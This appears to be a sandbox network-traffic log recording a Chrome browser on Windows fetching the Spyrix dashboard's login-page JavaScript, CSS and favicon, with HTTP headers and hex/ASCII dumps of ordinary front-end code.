2024-10-02 04:13:07 UTC	3065	IN	Data Raw: 2e 2d 7a 74 52 79 53 4e 68 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 66 69 74 2d 63 6f 6e 74 65 6e 74 7d 2e 46 74 74 30 43 70 57 51 7b 77 69 64 74 68 3a 32 30 30 70 78 7d 2e 5f 34 61 49 38 41 71 43 48 7b 6f 70 61 63 69 74 79 3a 2e 35 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 2e 57 6e 4e 6f 78 4b 4b 48 7b 77 69 64 74 68 3a 31 30 30 25 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 31 33 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 69 6e 70 75 74 2d 62 6f 72 64 65 72 29 Data Ascii: .-ztRySNh{display:flex;position:relative;flex-direction:column;height:fit-content}.Ftt0CpWQ{width:200px}._4aI8AqCH{opacity:.5;pointer-events:none}.WnNoxKKH{width:100%;font-size:15px;padding:10px 13px;border-radius:10px;border:1px solid var(--input-border)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49752	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:07 UTC	626	OUT	GET /dashboard30/assets/en-ef960fb7.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:07 UTC	390	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 774 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-306" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T19:54:21+00:00 X-Node: m9-up-gc33 Accept-Ranges: bytes
2024-10-02 04:13:07 UTC	774	IN	Data Raw: 63 6f 6e 73 74 20 65 3d 22 52 65 67 69 73 74 65 72 22 2c 6f 3d 22 45 6d 61 69 6c 22 2c 74 3d 22 50 61 73 73 77 6f 72 64 22 2c 73 3d 22 4c 6f 67 69 6e 22 2c 61 3d 7b 22 57 65 6c 63 6f 6d 65 20 42 61 63 6b 22 3a 22 57 65 6c 63 6f 6d 65 20 42 61 63 6b 22 2c 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 45 6d 61 69 6c 22 3a 22 53 69 67 6e 20 49 6e 20 77 69 74 68 20 45 6d 61 69 6c 22 2c 22 4e 6f 20 61 63 63 6f 75 6e 74 3f 22 3a 22 4e 6f 20 61 63 63 6f 75 6e 74 3f 22 2c 52 65 67 69 73 74 65 72 3a 65 2c 45 6d 61 69 6c 3a 6f 2c 50 61 73 73 77 6f 72 64 3a 74 2c 4c 6f 67 69 6e 3a 73 2c 22 46 6f 72 67 6f 74 20 70 61 73 73 77 6f 72 64 3f 22 3a 22 46 6f 72 67 6f 74 20 70 61 73 73 77 6f 72 64 3f 22 2c 22 54 68 69 73 20 65 6d 61 69 6c 20 63 61 6e 6e 6f 74 20 62 65 20 75 73 Data Ascii: const e="Register",o="Email",t="Password",s="Login",a={"Welcome Back":"Welcome Back","Sign In with Email":"Sign In with Email","No account?":"No account?",Register:e,Email:o,Password:t,Login:s,"Forgot password?":"Forgot password?","This email cannot be us

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49749	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:07 UTC	554	OUT	GET /dashboard30/assets/index-1178777c.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:07 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5163 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-142b" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T04:02:54+00:00 X-Node: m9p-up-gc69 Accept-Ranges: bytes
2024-10-02 04:13:07 UTC	3705	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 46 2c 6f 20 61 73 20 49 2c 62 20 61 73 20 44 2c 69 20 61 73 20 50 2c 72 20 61 73 20 67 74 2c 6e 20 61 73 20 72 2c 75 20 61 73 20 74 2c 61 75 20 61 73 20 70 74 2c 67 20 61 73 20 48 2c 45 20 61 73 20 5f 74 2c 46 20 61 73 20 66 74 2c 24 20 61 73 20 76 74 2c 44 20 61 73 20 45 74 2c 4d 20 61 73 20 75 2c 63 20 61 73 20 77 2c 70 20 61 73 20 78 2c 52 20 61 73 20 79 2c 73 20 61 73 20 68 74 2c 61 74 20 61 73 20 77 74 2c 68 20 61 73 20 73 2c 79 20 61 73 20 64 2c 61 7a 20 61 73 20 78 74 2c 61 6d 20 61 73 20 79 74 2c 65 20 61 73 20 53 74 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 61 20 61 73 20 57 2c 75 20 61 73 20 4c 74 2c 62 20 61 73 20 50 74 2c 64 20 61 73 20 42 74 7d 66 Data Ascii: import{d as F,o as I,b as D,i as P,r as gt,n as r,u as t,au as pt,g as H,E as _t,F as ft,$ as vt,D as Et,M as u,c as w,p as x,R as y,s as ht,at as wt,h as s,y as d,az as xt,am as yt,e as St}from"./index-004f4025.js";import{a as W,u as Lt,b as Pt,d as Bt}f
2024-10-02 04:13:07 UTC	1458	IN	Data Raw: 2c 38 2c 5b 22 74 65 78 74 22 5d 29 5d 29 2c 5f 3a 31 7d 29 5d 2c 32 29 2c 50 28 22 66 6f 72 6d 22 2c 7b 63 6c 61 73 73 3a 72 28 5b 74 28 69 29 2e 63 6f 6e 74 65 6e 74 5d 29 2c 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 22 66 6f 72 6d 22 2c 6f 6e 4b 65 79 70 72 65 73 73 3a 78 74 28 47 2c 5b 22 65 6e 74 65 72 22 5d 29 7d 2c 5b 73 28 71 2c 7b 63 6c 61 73 73 3a 72 28 5b 74 28 69 29 2e 69 6e 70 75 74 5d 29 2c 76 61 6c 75 65 3a 74 28 67 29 2c 76 61 72 69 61 6e 74 3a 72 74 2e 76 61 6c 75 65 2c 22 61 64 64 69 74 69 6f 6e 61 6c 2d 6d 65 73 73 61 67 65 22 3a 74 28 52 29 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 74 28 61 29 28 22 45 6d 61 69 6c 22 29 2c 22 64 61 74 61 2d 74 65 73 74 69 64 22 3a 22 65 6d 61 69 6c 22 2c 6f 6e 4f 6e 43 68 61 6e 67 65 3a 51 7d 2c 6e 75 6c Data Ascii: ,8,["text"])]),_:1})],2),P("form",{class:r([t(i).content]),"data-testid":"form",onKeypress:xt(G,["enter"])},[s(q,{class:r([t(i).input]),value:t(g),variant:rt.value,"additional-message":t(R),placeholder:t(a)("Email"),"data-testid":"email",onOnChange:Q},nul

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.8	49746	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:07 UTC	573	OUT	GET /dashboard30/assets/ConfirmPhoneModal.module-3f369b32.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:07 UTC	393	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 4589 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-11ed" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T02:40:21+00:00 X-Node: m9-up-gc230 Accept-Ranges: bytes
2024-10-02 04:13:07 UTC	3703	IN	Data Raw: 69 6d 70 6f 72 74 7b 4a 20 61 73 20 54 2c 24 20 61 73 20 4c 2c 46 20 61 73 20 79 2c 61 47 20 61 73 20 5f 2c 45 20 61 73 20 77 2c 61 4d 20 61 73 20 62 2c 61 41 20 61 73 20 52 2c 63 20 61 73 20 43 2c 70 20 61 73 20 46 2c 61 74 20 61 73 20 63 2c 52 20 61 73 20 4d 2c 61 76 20 61 73 20 66 2c 61 75 20 61 73 20 53 2c 61 77 20 61 73 20 75 2c 61 78 20 61 73 20 68 2c 61 63 20 61 73 20 4e 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 66 75 6e 63 74 69 6f 6e 20 6c 74 28 29 7b 76 61 72 20 70 3b 63 6f 6e 73 74 20 74 3d 54 28 29 2c 65 3d 4c 28 29 2c 72 3d 79 28 29 2c 61 3d 5f 28 29 2c 7b 73 65 74 44 65 66 61 75 6c 74 73 3a 6f 7d 3d 77 28 29 2c 73 3d 28 28 70 3d 72 2e 70 72 6f 67 72 61 6d 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 70 Data Ascii: import{J as T,$ as L,F as y,aG as _,E as w,aM as b,aA as R,c as C,p as F,at as c,R as M,av as f,au as S,aw as u,ax as h,ac as N}from"./index-004f4025.js";function lt(){var p;const t=T(),e=L(),r=y(),a=_(),{setDefaults:o}=w(),s=((p=r.program)==null?void 0:p
2024-10-02 04:13:07 UTC	886	IN	Data Raw: 76 65 72 69 66 69 63 61 74 69 6f 6e 50 68 6f 6e 65 43 61 6c 6c 22 2c 7b 73 74 61 74 65 3a 28 29 3d 3e 28 7b 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 3a 7b 2e 2e 2e 75 7d 2c 63 68 65 63 6b 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 3a 7b 2e 2e 2e 75 7d 7d 29 2c 67 65 74 74 65 72 73 3a 7b 66 65 74 63 68 53 74 61 74 65 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 73 74 61 74 65 7d 2c 66 65 74 63 68 45 72 72 6f 72 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 65 74 63 68 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 65 72 72 6f 72 7d 2c 63 68 65 63 6b 53 74 61 74 65 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 63 68 65 63 6b 50 68 6f 6e 65 43 61 6c 6c 53 74 61 74 75 73 2e 73 74 61 74 65 7d Data Ascii: verificationPhoneCall",{state:()=>({fetchPhoneCallStatus:{...u},checkPhoneCallStatus:{...u}}),getters:{fetchState(t){return t.fetchPhoneCallStatus.state},fetchError(t){return t.fetchPhoneCallStatus.error},checkState(t){return t.checkPhoneCallStatus.state}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.8	49751	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:07 UTC	589	OUT	GET /dashboard30/assets/Text.vue_vue_type_script_setup_true_lang-a664542d.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:07 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 613 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-265" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T01:10:52+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:13:07 UTC	613	IN	Data Raw: 69 6d 70 6f 72 74 7b 64 20 61 73 20 70 2c 63 20 61 73 20 72 2c 61 20 61 73 20 65 2c 6f 20 61 73 20 74 2c 62 20 61 73 20 63 2c 74 20 61 73 20 75 2c 6e 20 61 73 20 6c 2c 65 20 61 73 20 66 2c 55 20 61 73 20 64 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 63 6f 6e 73 74 20 6b 3d 70 28 7b 5f 5f 6e 61 6d 65 3a 22 54 65 78 74 22 2c 70 72 6f 70 73 3a 7b 6f 6e 65 52 6f 77 3a 7b 74 79 70 65 3a 42 6f 6f 6c 65 61 6e 2c 64 65 66 61 75 6c 74 3a 21 31 7d 2c 62 6f 6c 64 3a 7b 74 79 70 65 3a 42 6f 6f 6c 65 61 6e 2c 64 65 66 61 75 6c 74 3a 21 31 7d 2c 74 65 78 74 3a 7b 7d 2c 73 69 7a 65 3a 7b 64 65 66 61 75 6c 74 3a 22 73 6d 22 7d 2c 63 6f 6c 6f 72 3a 7b 64 65 66 61 75 6c 74 3a 22 64 65 66 61 75 6c 74 22 7d 2c 75 70 70 65 72 63 61 73 65 Data Ascii: import{d as p,c as r,a as e,o as t,b as c,t as u,n as l,e as f,U as d}from"./index-004f4025.js";const k=p({__name:"Text",props:{oneRow:{type:Boolean,default:!1},bold:{type:Boolean,default:!1},text:{},size:{default:"sm"},color:{default:"default"},uppercase

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.8	49761	158.69.117.119	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:07 UTC	355	OUT	GET /favicon.ico HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:07 UTC	320	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:13:07 GMT Content-Type: image/x-icon Content-Length: 3029 Last-Modified: Thu, 01 Feb 2024 09:41:29 GMT Connection: close ETag: "65bb6749-bd5" X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0 Accept-Ranges: bytes
2024-10-02 04:13:07 UTC	3029	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b8 00 00 00 b8 08 06 00 00 00 50 33 26 c7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 21 37 00 00 21 37 01 33 58 9f 7a 00 00 00 18 74 45 58 74 53 6f 66 74 77 61 72 65 00 70 61 69 6e 74 2e 6e 65 74 20 34 2e 31 2e 36 fd 4e 09 e8 00 00 0b 53 49 44 41 54 78 5e ed 9d ff 71 dc 46 12 85 15 82 43 b8 10 1c 82 43 b8 0c 4e 65 49 ae fb cf cc 40 ce 40 ce 60 c5 08 ec 0c 18 02 43 b8 10 18 02 6e 1a 9c 95 c6 d0 e3 6e 77 03 33 98 e9 79 5f d5 57 aa 6a 71 77 f1 e3 ed a0 31 00 c8 77 cb b2 b8 fd f5 b2 bc ff f8 75 59 28 ad 65 99 37 8f b0 a8 95 01 a7 b5 2d f3 e6 11 16 b5 32 e0 b4 b6 65 de 3c c2 a2 56 06 9c d6 b6 cc 9b 47 58 d4 ca 80 d3 da 96 79 f3 08 8b 5a 19 70 5a db 32 6f 1e 61 51 2b 03 Data Ascii: PNGIHDRP3&gAMAapHYs!7!73XztEXtSoftwarepaint.net 4.1.6NSIDATx^qFCCNeI@@`Cnnw3y_Wjqw1wuY(e7-2e<VGXyZpZ2oaQ+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.8	49762	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:07 UTC	376	OUT	GET /dashboard30/assets/en-08b2a987.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:08 UTC	343	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-69c5" Content-Encoding: gzip Cache: STALE X-Cached-Since: 2024-10-01T23:15:38+00:00 X-Node: m9-up-gc82
2024-10-02 04:13:08 UTC	3753	IN	Data Raw: 31 63 37 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 9d e9 6e dc 56 96 c7 bf cf 53 70 88 00 76 80 6b 61 d2 dd 98 1e b0 21 0c bc 24 8e 3b de e2 25 ee 04 03 a4 a9 2a 96 c4 36 8b ac 90 2c c9 4a 90 07 9a d7 98 27 9b df ff dc 7b 49 d6 22 c9 4b e2 76 3a fe 22 f1 ee db d9 cf b9 b7 66 4d dd f5 49 71 98 de 5c f7 cd aa ca cf 53 d7 1c a6 4f 8a bc 6b ea d4 f5 87 e9 9d a2 9b b5 e5 aa 2f 95 ce 0f d3 a7 7d de af bb d4 95 7c ce da a2 a8 bb 93 a6 4f 5d 7d 98 3e ea 4f 8a 36 75 dd 61 fa bc d3 47 4b a7 ab 55 45 8f 33 b2 ea 97 75 73 46 17 d5 61 7a ab 6d ce ac c6 fc 30 bd 5d 95 ab a3 26 6f e7 a9 5b 1f a6 2f 8a a3 59 be 4c dd ca c6 69 e9 f7 fc 30 fd fc 55 c9 c7 f2 30 fd a6 9c 17 4d 5b cc 52 77 42 79 b3 ae e7 96 38 f6 e3 94 b3 dc 4f 72 71 98 3e 2b fb aa 48 dd a9 fa 6f 3a be ce 0e Data Ascii: 1c75nVSpvka!$;%*6,J'{I"Kv:"fMIq\SOk/}\|O]}>O6uaGKUE3usFazm0]&o[/YLi0U0M[RwBy8Orq>+Ho:
2024-10-02 04:13:08 UTC	3540	IN	Data Raw: 41 44 1f e1 3d 79 ad 46 3e 10 69 3e 88 0b bd 82 12 c2 c6 36 f5 18 b7 f2 66 8d a4 f0 12 a9 89 98 a7 d0 98 ae 0b 01 86 7b 32 11 68 2c d0 3b 43 2c a9 cd ad bd e5 16 bf b4 78 6c fd 90 b5 8c e0 c1 26 c4 76 5b 05 66 be 5f 15 84 a0 87 30 07 f9 5b 8c 24 9b e9 48 4c 1a 0f c4 65 15 8c 2a a1 2b b2 93 d8 5e 16 72 d9 c8 d3 0e 6a fb 1e 7c 5c 47 d8 c2 68 73 7a 66 ea e5 1b 34 c1 b0 1d 6d 78 59 29 35 db 9b c4 46 25 4e 76 50 26 bb 3f 7f 4f fd 05 34 c7 02 03 77 5a 84 12 cc 3c 04 b9 d4 85 b3 a0 e6 0c 47 c3 a0 88 5e 85 37 c1 33 f1 0e 98 77 51 0f 90 1d f3 49 d0 b5 87 26 ed 73 0c f1 bb b0 c8 0e 39 c8 78 db 5e 18 7f c0 17 15 0a ad 7c b0 fc b0 d3 1e a3 76 32 6d 8c 51 39 84 1e 07 3a e4 07 d8 5b a2 18 82 89 ce 69 aa 0f 50 0f fc d0 e8 c2 22 1f 9d 20 78 f3 e2 85 22 13 62 ca f9 b0 f3 Data Ascii: AD=yF>i>6f{2h,;C,xl&v[f_0[$HLe*+^rj\|\Ghszf4mxY)5F%NvP&?O4wZ<G^73wQI&s9x^\|v2mQ9:[iP" x"b
2024-10-02 04:13:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49763	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:08 UTC	574	OUT	GET /dashboard30/assets/index-7e7c447a.css HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:08 UTC	302	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: text/css Content-Length: 296 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-128" Cache: STALE X-Cached-Since: 2024-10-02T00:54:02+00:00 X-Node: m9-up-gc88 Accept-Ranges: bytes
2024-10-02 04:13:08 UTC	296	IN	Data Raw: 2e 4d 57 50 51 46 4d 6b 54 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 52 6a 7a 66 61 76 36 4e 2c 2e 64 38 4e 55 4e 65 49 6b 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 7d 2e 63 44 44 52 65 5a 2d 6b 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 67 61 70 3a 31 30 70 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 7d 2e 6c 51 Data Ascii: .MWPQFMkT{display:flex;flex-direction:column;align-items:center;justify-content:center}.Rjzfav6N,.d8NUNeIk{margin-bottom:10px}.cDDReZ-k{width:100%;display:flex;flex-direction:column;gap:10px;justify-content:center;align-items:center;margin-bottom:20px}.lQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49764	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:08 UTC	594	OUT	GET /dashboard30/assets/Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:08 UTC	391	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 733 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-2dd" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-01T20:47:24+00:00 X-Node: m9-up-gc233 Accept-Ranges: bytes
2024-10-02 04:13:08 UTC	733	IN	Data Raw: 69 6d 70 6f 72 74 7b 45 20 61 73 20 75 2c 73 20 61 73 20 6c 2c 61 74 20 61 73 20 69 2c 70 20 61 73 20 6d 2c 64 20 61 73 20 6f 2c 6f 20 61 73 20 72 2c 62 20 61 73 20 5f 2c 72 20 61 73 20 70 2c 6e 20 61 73 20 66 2c 75 20 61 73 20 63 2c 67 2c 65 20 61 73 20 64 7d 66 72 6f 6d 22 2e 2f 69 6e 64 65 78 2d 30 30 34 66 34 30 32 35 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 63 20 61 73 20 68 7d 66 72 6f 6d 22 2e 2f 43 6f 6e 66 69 72 6d 50 68 6f 6e 65 4d 6f 64 61 6c 2e 6d 6f 64 75 6c 65 2d 33 66 33 36 39 62 33 32 2e 6a 73 22 3b 69 6d 70 6f 72 74 7b 5f 20 61 73 20 45 7d 66 72 6f 6d 22 2e 2f 54 65 78 74 2e 76 75 65 5f 76 75 65 5f 74 79 70 65 5f 73 63 72 69 70 74 5f 73 65 74 75 70 5f 74 72 75 65 5f 6c 61 6e 67 2d 61 36 36 34 35 34 32 64 2e 6a 73 22 3b 66 75 6e 63 74 69 6f 6e Data Ascii: import{E as u,s as l,at as i,p as m,d as o,o as r,b as _,r as p,n as f,u as c,g,e as d}from"./index-004f4025.js";import{c as h}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as E}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49765	95.181.182.182	443	1512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:13:08 UTC	379	OUT	GET /dashboard30/assets/index-1178777c.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:13:08 UTC	333	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:13:08 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 5163 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-142b" Cache: STALE X-Cached-Since: 2024-10-01T19:54:21+00:00 X-Node: m9-up-gc33 Accept-Ranges: bytes
